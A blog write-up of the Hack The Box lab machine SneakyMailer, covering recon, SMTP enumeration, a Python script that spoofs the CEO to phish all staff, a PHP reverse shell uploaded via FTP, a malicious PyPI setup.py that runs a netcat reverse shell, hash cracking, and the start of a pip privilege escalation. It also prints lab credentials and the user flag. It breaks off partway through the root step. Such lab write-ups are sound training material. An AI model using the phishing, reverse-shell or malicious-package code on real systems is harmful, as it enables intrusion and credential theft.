3rd August 2021
Hack The Box SneakyMailer Write-Up by T13nn3s

Hack The Box – SneakyMailer – 10.10.10.197

Never interrupt your enemy when he is making mistakes

Napoleon Bonaparte

About SneakyMailer

In this post, I’m writing a write-up for the machine SneakyMailer from Hack The Box. Hack The Box is an online platform to train your ethical hacking skills and penetration testing skills.

SneakyMailer is a ‘Medium’ rated box. Grabbing and submitting the user.txt flag, your points will be raised by 15, and submitting the root flag your points will be raised by 30.

Foothold
After reviewing the results of the first port scan I come to the conclusion that this box fulfills the mail server and a web server functionality. Through the team page of http://sneakycorp.htb, I found the email address of the CEO Angelica Ramos. The SMTP-service is an open relay (authentication is not enabled) and because VRFY is enabled, I’m able to determine the existence of the e-mail addresses. From the team members’ page, I have created a list of e-mail addresses. I write a Python script and spoofed the e-mail address from the CEO and I’ve sent a crafted phishing e-mail to all of the team members. Paul Byrd bites and passes on his username and password.

User
With the credentials of Paul Byrd, I’m able to authenticate against IMAP. I’ve read two e-mail messages from Paul to low with a request to change the password of the user account ‘developer’. With this password, I’m able to authenticate to the FTP-service. Through the FTP-service I found the ‘dev’ directory which contains the contents of a webpage. After some further enumeration, I found that the subdomain dev.sneakycorp.htb website is pointing to the ‘ dev’ directory. I uploaded a reverse shell to this folder and I was able to get a reverse shell as the user www-data.

On the box in the /var/www directory, I found that there is another virtual host running on the webserver with the name pypi.sneakycorp.htb, running on the tcp/8080 port. From the .htpasswd file, I found the username and password from the pypi user account. With this account, I’m able to authenticate to the PyPi-service. I jumped to the user developer.

After putting the pieces together I found that I have to build a package for the PyPi service. I’ve build a malicious package which contains a reverse shell. After registering the package and reverse shell as the user account ‘low’ was established.

Root
The user account ‘low’ has the privileges to run /usr/bin/pip3 with root privileges. I found the steps to the privilege escalation on the GTFOBins website to break out the restricted environment to spawn a shell as root.

Machine Info

Hack The Box SneakyMailer Write-Up by T13nn3s
Hack The Box SneakyMailer Machine Info
Hack The Box SneakyMailer Machine IP and maker
Hack The Box SneakyMailer Machine IP and maker

Recon

Port scan

As always I start the box with a port scan with Nmap.

~$ nmap -sC -sV -oA ./nmap/10.10.10.197 10.10.10.197

The results.

Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-14 15:35 CEST
Nmap scan report for 10.10.10.197
Host is up (0.071s latency).
Not shown: 993 closed ports
PORT     STATE SERVICE  VERSION
21/tcp   open  ftp      vsftpd 3.0.3
22/tcp   open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 57:c9:00:35:36:56:e6:6f:f6:de:86:40:b2:ee:3e:fd (RSA)
|   256 d8:21:23:28:1d:b8:30:46:e2:67:2d:59:65:f0:0a:05 (ECDSA)
|_  256 5e:4f:23:4e:d4:90:8e:e9:5e:89:74:b3:19:0c:fc:1a (ED25519)
25/tcp   open  smtp     Postfix smtpd
|_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING, 
80/tcp   open  http     nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Did not follow redirect to http://sneakycorp.htb
143/tcp  open  imap     Courier Imapd (released 2018)
|_imap-capabilities: CAPABILITY SORT IDLE completed ACL OK STARTTLS UTF8=ACCEPTA0001 ENABLE NAMESPACE THREAD=ORDEREDSUBJECT THREAD=REFERENCES ACL2=UNION IMAP4rev1 UIDPLUS CHILDREN QUOTA
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:[email protected]
| Not valid before: 2020-05-14T17:14:21
|_Not valid after:  2021-05-14T17:14:21
|_ssl-date: TLS randomness does not represent time
993/tcp  open  ssl/imap Courier Imapd (released 2018)
|_imap-capabilities: CAPABILITY SORT IDLE completed ACL OK UTF8=ACCEPTA0001 QUOTA ENABLE NAMESPACE AUTH=PLAIN THREAD=REFERENCES ACL2=UNION IMAP4rev1 UIDPLUS CHILDREN THREAD=ORDEREDSUBJECT
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:[email protected]
| Not valid before: 2020-05-14T17:14:21
|_Not valid after:  2021-05-14T17:14:21
|_ssl-date: TLS randomness does not represent time
8080/tcp open  http     nginx 1.14.2
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.14.2
|_http-title: Welcome to nginx!
Service Info: Host:  debian; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 53.85 seconds

There are a lot of open ports. According to the open ports, I’m dealing with a e-mail server and web server.

Mail server service ports
This box is running a mail service. I found the SMTP-port, which is tcp/25. I noticed something odd about this service. It seems that the VRFY verb is enabled. The VRFY (verify) command checks for the existence of a user ID on the mail server. This is typically disabled on the server because it could potentially allow an outsider to check for valid user IDs, which often correlate to internal usernames. I can use this to my advantage.

There are two IMAP-ports visible, port 143/tcp (non-secured IMAP) and tcp/993 (secured IMAP). This service is giving me the ability to read email messages if I can authenticate with valid credentials.

Webserver
I got the ports 80/tcp (HTTP) and the 8080/tcp (alternative HTTP) open on this box. The Nginx version 1.14.2 is not the latest version and it is containing some vulnerability’s, maybe I can use this to my advantage?

FTP-service
It’s not default to have this service enabled on a server. I need to find credentials to authenticate to this service. According to the Nmap results, anonymous authentication is disabled. Some developers are enabling this service for development purposes, so that they can easily upload files.

Enumeration Web Server

I visited the webpage http://sneakycorp.htb. I’ve noticed that I’m already logged in as the user ‘You’. From the Team page, I have a lot of team members with their names, positions and email addresses. I’ve checked the source code from the homepage and found that there is a registration page on http:// sneakymailer.htb/pypi/register.php.

Hack The Box SneakyMailer source code register page
Source code from http://sneakymailer.htb

I have checked the registration page, and I’m able to register new users. I have registered a user account with some credentials, but there is no login page. I have tried to logout but that’s also not possible.

Hack The Box SneakyMailer Registration page
http://sneakycorp.htb/pypi/register.php

From the Team members page, I noticed that there is a user account from Angelica Ramos, she is the Chief Executive Officer (CEO). I created an account with here email address and as there is no login page, I tried with curl and with the created username and password, but get no useful information.

I have got some email addresses, let’s jump to the other service.

Enumeration SMTP Service

As the SMTP port 25 is open, I can establish an connection with telnet to this service. When the connection is established I can send commands to the email service to start the enumeration. First, let’s try to verify if the email address of the CEO exists on the mail server.

When I receive a 250, 251 or 252 which means that the service has accepted the request and that the email address is valid. Second, authentication is not enabled on this server. So, I can send unauthenticated e-mail messages, this makes this emailserver an open relay.

~$ telnet 10.10.10.197 25
Trying 10.10.10.197...
Connected to 10.10.10.197.
Escape character is '^]'.
220 debian ESMTP Postfix (Debian/GNU)
vrfy [email protected]
252 2.0.0 [email protected]
auth login
503 5.5.1 Error: authentication not enabled

Let’s try to send mail from the email address from the CEO. I have created an HTML message that she have won an iPhone. I have added an hyperlink to the body of the mail. Maybe she clicks on it.

$ telnet 10.10.10.197 25                                
Trying 10.10.10.197...                                                                     
Connected to 10.10.10.197.                                                                 
Escape character is '^]'.                                                                  
                                                                                                                                                   
ehlo sneakycorp.htb                                                                        
250-debian                                                                                 
250-PIPELINING                                                                             
250-SIZE 10240000                                                                          
250-VRFY                                                                                   
250-ETRN                                                                                   
250-STARTTLS                                                                               
250-ENHANCEDSTATUSCODES                                                                    
250-8BITMIME                                                                               
250-DSN                                                                                    
250-SMTPUTF8                                                                               
250 CHUNKING                                                                               
MAIL FROM: [email protected]                                                  
250 2.1.0 Ok                                                                               
RCPT TO: [email protected]                                                    
250 2.1.5 Ok                                                                               
DATA                                                                                       
354 End data with <CR><LF>.<CR><LF>                                                        
SUBJECT: You won an iPhone!                                                                
MIME-Version: 1.0                                                                          
Content-Type: text/html; charset="ISO-8859-1"                                              
<html>                                                                                     
<head>                                                                                     
<meta http-equiv='content-type' content='text/html; charset=ISO-8859-1'>                   
</head>                                                                                    
<body>                                                                                     
<p>Hi Angelica,</p>
<p>You have won an iPhone! <a href="http://10.10.14.33:8000/test.txt">Click here</a> to rec
eive the phone.</p><p>KR,</pr><p>Apple Netherlands</p>
</body>
</html>
.
250 2.0.0 Ok: queued as 91FED2466B

I can send the email message but Angelica is not clicking on the hyperlink. I got a bunch of other users with email addresses, so let’s try to create a phishing email message and send it to them all.

Intrusion

Creating a phishing email message

I’ve created a phish e-mail message with Python by spoofing the email address from the CEO. I’ve added a payload in the body of the email message. On my attacker machine, I’ve opened a Netcat listener on port 4444. If a user is clicking on the link, I will sit there, waiting with my listener.

import smtplib
import email.message
import email.utils

emailaddresses = open('./users.txt')

def send_email(sender, send_to):

    msg = email.message.Message()
    msg['From'] = sender
    msg['To'] = send_to
    msg['Subject'] = "You've won an iPhone!"
    msg.add_header('Content-Type', 'text')
    msg.set_payload("http://10.10.14.33:4444")

    smtp_obj = smtplib.SMTP("sneakymailer.htb", "25")
    smtp_obj.sendmail(msg['From'], [msg['To']], msg.as_string())
    smtp_obj.quit()

for recipient in emailaddresses:
    try:
        send_email("[email protected]", recipient)
        print('[+] Message successful send to ' + recipient)
    except:
        print('[-] Unable to send message to ' + recipient)

I’ve started a listener on my machine on port 4444.

~$ netcat -lvvp 4444

Let’s start the phishing attack by sending every employee the crafted email message with my Python script. The messages are being send.

~$ python3 spoof_email.py
[+] Message successful send to [email protected]                                                                                                                            
                                                                                                                                                                                         
[+] Message successful send to [email protected]                                                                                                                                
                                                                                                                                                                                         
[+] Message successful send to [email protected]                                                                                                                             
                                                                                                                                                                                         
[+] Message successful send to [email protected]                                                                                                                            
                                                                                                                                                                                         
[+] Message successful send to [email protected]                                                                                                                        
                                                                                                                                                                                         
[+] Message successful send to [email protected]                                                                                                                                
                                                                                                                                                                                         
[+] Message successful send to [email protected]                                                                                                                              
                                                                                                                                                                                         
[+] Message successful send to [email protected]                                                                                                                              
                                                                                                                                                                                         
[+] Message successful send to [email protected]                                                                                                                              
                                                                                                                                                                                         
[+] Message successful send to [email protected]                                                                                                                           
                                                                                                                                                                                         
[+] Message successful send to [email protected]                                                                                                                             
                                                                                                                                                                                         
[+] Message successful send to [email protected]

[+] Message successful send to [email protected]

[+] Message successful send to [email protected]

[+] Message successful send to [email protected]

[+] Message successful send to [email protected]

[+] Message successful send to [email protected]

[+] Message successful send to [email protected]

[+] Message successful send to [email protected]

[+] Message successful send to [email protected]

[+] Message successful send to [email protected]

[+] Message successful send to [email protected]

[+] Message successful send to [email protected]

[+] Message successful send to [email protected]

[+] Message successful send to [email protected]

[+] Message successful send to [email protected]

[+] Message successful send to [email protected]

[+] Message successful send to [email protected]

[+] Message successful send to [email protected]

[+] Message successful send to [email protected]

[+] Message successful send to [email protected]

[+] Message successful send to [email protected]

[+] Message successful send to [email protected]

[+] Message successful send to [email protected]

[+] Message successful send to [email protected]

[+] Message successful send to [email protected]

[+] Message successful send to [email protected]

[+] Message successful send to [email protected]

[+] Message successful send to [email protected]

[+] Message successful send to [email protected]

[+] Message successful send to [email protected]

[+] Message successful send to [email protected]

[+] Message successful send to [email protected]

[+] Message successful send to [email protected]

[+] Message successful send to [email protected]

[+] Message successful send to [email protected]

[+] Message successful send to [email protected]

[+] Message successful send to [email protected]

[+] Message successful send to [email protected]

[+] Message successful send to [email protected]

[+] Message successful send to [email protected]

[+] Message successful send to [email protected]

[+] Message successful send to [email protected]

[+] Message successful send to [email protected]

[+] Message successful send to [email protected]

[+] Message successful send to [email protected]

I’m sitting with my listener and waits if some fish is taking a bite. And yes, I got bate! The user Paul Byrd ([email protected]iler.htb) kicks in the phishing email and has clicked the link and left his username and password. Let’s start the phishing attack by sending every employee the crafted email message with my Python script.

~$ netcat -lvvp 4444
Connection from 10.10.10.197:43044
POST / HTTP/1.1
Host: 10.10.14.33:4444
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 185
Content-Type: application/x-www-form-urlencoded

firstName=Paul&lastName=Byrd&email=paulbyrd%40sneakymailer.htb&password=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt&rpassword=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt

I have an URL encoded password. With the use of the website https://www.url-encode-decode.com, I decoded the password. I save the credentials to my ‘creds.txt’ file.

[email protected]:^(#[email protected][%KhIxKk(Ju`hqcHl<:Ht

I tried to use this credentials on the FTP-service and on SSH, but that’s not working. But, I still have the IMAP service, let me give it a try.

Enumeration Imap

I now have the credentials of a user account. This means I have to start the enumeration of the services again, to see if I can access this box on the behalf of Paul Byrd. I start with the IMAP on port 143, the unencrypted port for the IMAP-service.

~$ telnet 10.10.10.197 143
Trying 10.10.10.197...
Connected to 10.10.10.197.
Escape character is '^]'.
* OK [CAPABILITY IMAP4rev1 UIDPLUS CHILDREN NAMESPACE THREAD=ORDEREDSUBJECT THREAD=REFERENCES SORT QUOTA IDLE ACL ACL2=UNION STARTTLS ENABLE UTF8=ACCEPT] Courier-IMAP ready. Copyright 1998-2018 Double Precision, Inc.  See COPYING for distribution information.
01 LOGIN paulbyrd "^(#[email protected][%KhIxKk(Ju`hqcHl<:Ht"
* OK [ALERT] Filesystem notification initialization error -- contact your mail administrator (check for configuration errors with the FAM/Gamin library)
01 OK LOGIN Ok.

I’m authenticated as Paul Byrd now. Let’s try to list the folders in his account.

a2 list "" "*"       
* LIST (\Unmarked \HasChildren) "." "INBOX"
* LIST (\HasNoChildren) "." "INBOX.Trash"
* LIST (\HasNoChildren) "." "INBOX.Sent"
* LIST (\HasNoChildren) "." "INBOX.Deleted Items"
* LIST (\HasNoChildren) "." "INBOX.Sent Items"
a2 OK LIST completed

I’ve connected to his Inbox.

a3 select INBOX
* FLAGS (\Draft \Answered \Flagged \Deleted \Seen \Recent)
* OK [PERMANENTFLAGS (\* \Draft \Answered \Flagged \Deleted \Seen)] Limited
* 0 EXISTS
* 0 RECENT
* OK [UIDVALIDITY 589480766] Ok
* OK [MYRIGHTS "acdilrsw"] ACL
a3 OK [READ-WRITE] Ok

The are no email messages in his Inbox, let’s try the Sent Items.

01 STATUS INBOX (MESSAGES)
* STATUS "INBOX" (MESSAGES 0)
01 OK STATUS Completed.

There are two Sent Items listed.

a4 select "INBOX.Sent Items"
* FLAGS (\Draft \Answered \Flagged \Deleted \Seen \Recent)
* OK [PERMANENTFLAGS (\* \Draft \Answered \Flagged \Deleted \Seen)] Limited
* 2 EXISTS
* 0 RECENT
* OK [UIDVALIDITY 589480766] Ok
* OK [MYRIGHTS "acdilrsw"] ACL
a4 OK [READ-WRITE] Ok

Fetch the Sent Items.

a5 FETCH 1:2 (BODY[HEADER])
* 1 FETCH (BODY[HEADER] {279}
MIME-Version: 1.0
To: root <[email protected]>
From: Paul Byrd <[email protected]>
Subject: Password reset
Date: Fri, 15 May 2020 13:03:37 -0500
Importance: normal
X-Priority: 3
Content-Type: multipart/alternative;
        boundary="_21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD_"

)
* 2 FETCH (BODY[HEADER] {419}
To: [email protected]
From: Paul Byrd <[email protected]>
Subject: Module testing
Message-ID: <[email protected]>
Date: Wed, 27 May 2020 13:28:58 -0400
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
 Thunderbird/68.8.0
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
Content-Language: en-US

)
a5 OK FETCH completed.

The last part… read the contents of the Sent Items.

a6 fetch 1:2 (BODY[1])  
* 1 FETCH (BODY[1] {196}
Hello administrator, I want to change this password for the developer accou=
nt

Username: developer
Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C

Please notify me when you do it=20
)
* 2 FETCH (BODY[1] {166}
Hello low


Your current task is to install, test and then erase every python module you 
find in our PyPI service, let me know if you have any inconvenience.

)
a6 OK FETCH completed.

Boom! Found credentials. I add these to the creds.txt file on my machine.

[email protected]:^(#[email protected][%KhIxKk(Ju`hqcHl<:Ht
developer:m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C

FTP Service

Got credentials of the account developer. Let’s jump to the FTP-service!

~$ ftp sneakycorp.htb
Connected to sneakycorp.htb.
220 (vsFTPd 3.0.3)
Name (sneakycorp.htb:madij): developer
331 Please specify the password.
Password: 
230 Login successful.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxr-x    8 0        1001         4096 Jul 20 16:03 dev
226 Directory send OK.
ftp> cd dev
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 May 26 19:52 css
drwxr-xr-x    2 0        0            4096 May 26 19:52 img
-rwxr-xr-x    1 0        0           13742 Jun 23 09:44 index.php
drwxr-xr-x    3 0        0            4096 May 26 19:52 js
drwxr-xr-x    2 0        0            4096 May 26 19:52 pypi
drwxr-xr-x    4 0        0            4096 May 26 19:52 scss
-rwxr-xr-x    1 0        0           26523 May 26 20:58 team.php
drwxr-xr-x    8 0        0            4096 May 26 19:52 vendor
226 Directory send OK.
ftp> 

I downloaded all of the files recursively and I have read through the files. I’ve not found anything useful.

wget -r --user="developer" --password="m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C" ftp://sneakycorp.htb/

Reverse shell as www-data

Let’s craft an reverse shell. I used the PHP Reverse Shell from this page: http://pentestmonkey.net/tools/php-reverse-shell. I only have to edit line 49 and line 50.

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.33';  // CHANGE THIS
$port = 4444;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

I have uploaded the reverse shell to the ‘dev’ folder.

$ ftp sneakycorp.htb                                                                                                                                  
Connected to sneakycorp.htb.                                                                                                                                                             
220 (vsFTPd 3.0.3)                                                                                                                                                                       
Name (sneakycorp.htb:madij): developer                                                                                                                                                   
331 Please specify the password.                                                                                                                                                         
Password:                                                                                                                                                                                
230 Login successful.
ftp> cd dev
250 Directory successfully changed.
ftp> put revshell.php 
227 Entering Passive Mode (10,10,10,197,213,212).
150 Ok to send data.
226 Transfer complete.
79 bytes sent in 0,000166 seconds (465 kbytes/s)
ftp> ls
227 Entering Passive Mode (10,10,10,197,102,120).
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 May 26 19:52 css
drwxr-xr-x    2 0        0            4096 May 26 19:52 img
-rwxr-xr-x    1 0        0           13742 Jun 23 09:44 index.php
drwxr-xr-x    3 0        0            4096 May 26 19:52 js
drwxr-xr-x    2 0        0            4096 May 26 19:52 pypi
--wxrw-rw-    1 1001     1001           79 Jul 20 16:41 revshell.php
drwxr-xr-x    4 0        0            4096 May 26 19:52 scss
-rwxr-xr-x    1 0        0           26523 May 26 20:58 team.php
drwxr-xr-x    8 0        0            4096 May 26 19:52 vendor
226 Directory send OK.
ftp> 

Tried to get a reverse shell, but for some reason, the file isn’t there. I tried also through the 8080 port but also not find anything.

Hack The Box Sneakymailer reverse shell failed
No reverse shell file…

I checked the ‘index.php’. file, this file in the FTP directory is slightly different than the homepage. Maybe there is running another website on this box? Maybe on a different (sub)domain? Hmm…

Let’s try to check for subdomains. I used Wfuzz to fuzz for subdomains.

$ wfuzz -c -w /Users/madij/htb/wordlists/wfuzz/general/common.txt --hc=301,403,404 -H "Host: FUZZ.sneakycorp.htb" http://sneakycorp.htb

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.4.6 - The Web Fuzzer                         *
********************************************************

Target: http://sneakycorp.htb/
Total requests: 949

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                                                                 
===================================================================

000000256:   200        340 L    989 W    13737 Ch    "dev"                                                                                                                   

Total time: 4.249761
Processed Requests: 949
Filtered Requests: 948
Requests/sec.: 223.3066

Found the dev.sneakycorp.htb as subdomain is existed on this box. Uploaded the reverse shell again, because an script or something on this box has removed the script. Maybe AV? I hope not, it will make the box more difficult. However, I uploaded the shell again.

$ ftp sneakycorp.htb
Connected to sneakycorp.htb.
220 (vsFTPd 3.0.3)
Name (sneakycorp.htb:madij): developer
331 Please specify the password.
Password: 
230 Login successful.
ftp> cd dev
ftp> put revshell.php 
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
5687 bytes sent in 0,00112 seconds (4,86 Mbytes/s)
ftp>

Launch the reverse shell.

Hack The Box Sneakymailer got reverse shell
Got reverse shell

Got the reverse shell as www-data!

Connection from 10.10.10.197:50928
Linux sneakymailer 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64 GNU/Linux
 17:05:25 up  1:10,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             [email protected]   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
[email protected]:/$

Checked the user accounts in home. The user account low and vmail are existing on this box. let’s focus on the user low.

[email protected]:/$ ls
ls
bin   home            lib32       media  root  sys  vmlinuz
boot  initrd.img      lib64       mnt    run   tmp  vmlinuz.old
dev   initrd.img.old  libx32      opt    sbin  usr
etc   lib             lost+found  proc   srv   var
[email protected]:/$ cd home
cd home
[email protected]:/home$ ls
ls
low  vmail

There are running multiple virtual hosts on the web server.

[email protected]:~$ cd /var/www
cd /var/www
[email protected]:~$ ls
ls
dev.sneakycorp.htb  html  pypi.sneakycorp.htb  sneakycorp.htb
[email protected]:~$

Working with PyPi

I have checked the http://pypi.sneakycorp:8080 webpage and I got redirected to an different looking webpage with an PyPi-service.

Hack The Box Sneakymailer pypiserver

From this point I’ve remembered the e-mail what I’ve found. Low has an task to do.

Hello low,

Your current task is to install, test and then erase every python module you find in our PyPI service, let me know if you have any inconvenience.

I clicked on the URL for the complete list of all packages, then I received a loginpage to fill in a username and password. I have tried the combinations I already have, but they are not successful.

Hack The Box SneakyMailer pypi packages
http://pypi.sneakymailer.htb/packages

Maybe there is an .htpasswd file? And it is…

[email protected]:~/pypi.sneakycorp.htb$ ls -al
ls -al
total 20
drwxr-xr-x 4 root root     4096 May 15 14:29 .
drwxr-xr-x 6 root root     4096 May 14 18:25 ..
-rw-r--r-- 1 root root       43 May 15 14:29 .htpasswd
drwxrwx--- 2 root pypi-pkg 4096 Jul 23 15:27 packages
drwxr-xr-x 6 root pypi     4096 May 14 18:25 venv
[email protected]:~/pypi.sneakycorp.htb$ cat .htpasswd 
cat .htpasswd
pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/
[email protected]:~/pypi.sneakycorp.htb$

Cracked the password with John.

$ sudo john pypi-hash -wordlist=../../wordlists/rockyou.txt 
Loaded 1 password hash (md5crypt [MD5 32/64 X2])
Press 'q' or Ctrl-C to abort, almost any other key for status
soufianeelhaoui  (?)
1g 0:00:04:18 100% 0.003869g/s 13979p/s 13979c/s 13979C/s soufianeelhaoui..soufiane1986
Use the "--show" option to display all of the cracked passwords reliably
Session completed
~$ john pypi-hash --show
?:soufianeelhaoui

1 password hash cracked, 0 left

Logged in with the username pypi and the password soufianeelhaoui, and there are no packages visible.

Hack-The-Box-SneakyMailer-PyPi-SneakyMailer.
http://pypi.sneakycorp.htb:8080/packages

Lateral Movement

Jump to developer

And all of a sudden the question pops into my head? Why am I still working with the user account www-data? Have I tried to dump to the user account ‘developer’? No, I haven’t. So, let me try that and it works!

[email protected]:~$ su developer
su developer
Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C
[email protected]:~$

Things are not changing, I have to do something with the PyPi-service. I have to create an package.

Exploitation

Building PyPi Package

I have never heard from the PyPi application before, so I have to check out the purpose of this application and how to use it. I found on the internet that PyPi stands for: The Python Package Index (PyPI). It’s a repository of software for the Python programming language, according to this page. I can build Python packages and distribute the packages with the use of PyPi.

The question now is: How do I have to build a package?

Based on the information on this page https://pypi.org/project/pypiserver/#upload-with-setuptools, I have to create two files:

  1. .pypirc, this is the authorization file.
  2. setup.py, this is the built script for the setuptools.

Based in the information I have found on that webpage, I’ve built my .pypirc file.

[distutils]
index-servers = local

[local]
repository: http://pypi.sneakycorp.htb:8080
username: pypi
password: soufianeelhaoui

This is the setup.py file, with the malicious contents to get the reverse shell as low. I have first tried to to replace the public key from the user low with the public key of my attacker account, but for some reason I received an permission denied error? Maybe the user developer has no permissions to this folder? First, the reverse shell has popped as the user developer… I got a bit confused. Why as the user developer? I had assumed that the user low has to test the package. Through the /etc/passwd file I found the UID for the user low and added this check the my script. The reverse shell may only be executed when an user account with the UID equals to 1000 is opening the package.

import setuptools
import os

if os.getuid() == 1000:
    os.system('nc -e /bin/bash 10.10.16.101 5555')
 
setuptools.setup(
    name="t13nn3s",
    version="0.0.1",
    author="Example Author",
    author_email="[email protected]",
    description="A small example package",
    long_description="",
    long_description_content_type="text/markdown",
    url="https://github.com/pypa/sampleproject",
    packages=setuptools.find_packages(),
    classifiers=[
        "Programming Language :: Python :: 3",
        "License :: OSI Approved :: MIT License",
        "Operating System :: OS Independent",
    ],
    python_requires='>=3.6',
)

I created the directory tmp/thispackage and make that that current location as my home folder.

[email protected]:/tmp$ mkdir thispackage                                                                                                                                           
mkdir thispackage                                                                                                                                                                        
[email protected]:/tmp$ cd thispackage                                                                                                                                              
cd thispackage                                                                                                                                                                           
[email protected]:/tmp/thispackage$ wget 10.10.16.101/setup.py                                                                                                                      
wget 10.10.16.101/setup.py                                                                                                                                                               
--2020-07-28 06:07:41--  http://10.10.16.101/setup.py                                                                                                                                    
Connecting to 10.10.16.101:80... failed: Connection refused.                                                                                                                             
[email protected]:/tmp/thispackage$ wget 10.10.16.101:8000/setup.py                                                                                                                 
wget 10.10.16.101:8000/setup.py                                                                                                                                                          
--2020-07-28 06:08:47--  http://10.10.16.101:8000/setup.py                                                                                                                               
Connecting to 10.10.16.101:8000... connected.                                                                                                                                            
HTTP request sent, awaiting response... 200 OK                                                                                                                                           
Length: 443                                                                                                                                                                  
Saving to: ‘setup.py’                                                                                                                                                                    
                                                                                                                                                                                         
setup.py            100%[===================>]     443  --.-KB/s    in 0s                                                                                                                
                                                                                                                                                                                         
2020-07-28 06:08:47 (7.62 MB/s) - ‘setup.py’ saved [443/443]                                                                                                                             

[email protected]:/tmp/thispackage$ wget 10.10.16.101:8000/.pypirc
wget 10.10.16.101:8000/.pypirc
--2020-07-28 06:08:59--  http://10.10.16.101:8000/.pypirc
Connecting to 10.10.16.101:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 128 [application/octet-stream]
Saving to: ‘.pypirc’

.pypirc             100%[===================>]     128  --.-KB/s    in 0s      

2020-07-28 06:09:00 (14.4 MB/s) - ‘.pypirc’ saved [128/128]

[email protected]:/tmp/thispackage$ chmod 600 .pypirc
chmod 600 .pypirc
[email protected]:/tmp/thispackage$ HOME=$(pwd)
HOME=$(pwd)
[email protected]:~$ python3 setup.py sdist register -r local upload -r local
<n3 setup.py sdist register -r local upload -r local
running sdist
running egg_info
creating t13nn3s.egg-info
writing t13nn3s.egg-info/PKG-INFO
writing dependency_links to t13nn3s.egg-info/dependency_links.txt
writing top-level names to t13nn3s.egg-info/top_level.txt
writing manifest file 't13nn3s.egg-info/SOURCES.txt'
reading manifest file 't13nn3s.egg-info/SOURCES.txt'
writing manifest file 't13nn3s.egg-info/SOURCES.txt'
warning: sdist: standard file not found: should have one of README, README.rst, README.txt, README.md

running check
creating t13nn3s-0.0.1
creating t13nn3s-0.0.1/t13nn3s.egg-info
copying files to t13nn3s-0.0.1...
copying setup.py -> t13nn3s-0.0.1
copying t13nn3s.egg-info/PKG-INFO -> t13nn3s-0.0.1/t13nn3s.egg-info
copying t13nn3s.egg-info/SOURCES.txt -> t13nn3s-0.0.1/t13nn3s.egg-info
copying t13nn3s.egg-info/dependency_links.txt -> t13nn3s-0.0.1/t13nn3s.egg-info
copying t13nn3s.egg-info/top_level.txt -> t13nn3s-0.0.1/t13nn3s.egg-info
Writing t13nn3s-0.0.1/setup.cfg
creating dist
Creating tar archive
removing 't13nn3s-0.0.1' (and everything under it)
running register
Registering t13nn3s to http://pypi.sneakycorp.htb:8080
Server response (200): OK
WARNING: Registering is deprecated, use twine to upload instead (https://pypi.org/p/twine/)
running upload
Submitting dist/t13nn3s-0.0.1.tar.gz to http://pypi.sneakycorp.htb:8080
Server response (200): OK
WARNING: Uploading via this command is deprecated, use twine to upload instead (https://pypi.org/p/twine/)
[email protected]:~$

Got a reverse shell as the user low! So, the check I’ve built in the script was needed. Now, I can understand the logical behind this. The user account developer and low are both testing tis package. As I already have an shell as developer, there is a need to builtin the check for the UID.

$ netcat -lvvp 5555
Listening on any address 5555 (personal-agent)
Connection from 10.10.10.197:36020
whoami
low
python -c 'import pty; pty.spawn("/bin/bash")'
[email protected]:/$ cd /home/low
cd /home/low
[email protected]:~$ cat user.txt
cat user.txt
2a08b0e2844dbcf41a961ecd198e93c6
[email protected]:~$

Privilege Escalation

Enumeration

Checked the privileges of low.

[email protected]:~$ sudo -l                                       
sudo -l
sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Matching Defaults entries for low on sneakymailer:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User low may run the following commands on sneakymailer:
    (root) NOPASSWD: /usr/bin/pip3
[email protected]:~$ 

Privilege escalation with pip

I found on GTFObins the root path: https://gtfobins.github.io/gtfobins/pip/.

[email protected]:~$ TF=$(mktemp -d)
TF=$(mktemp -d)
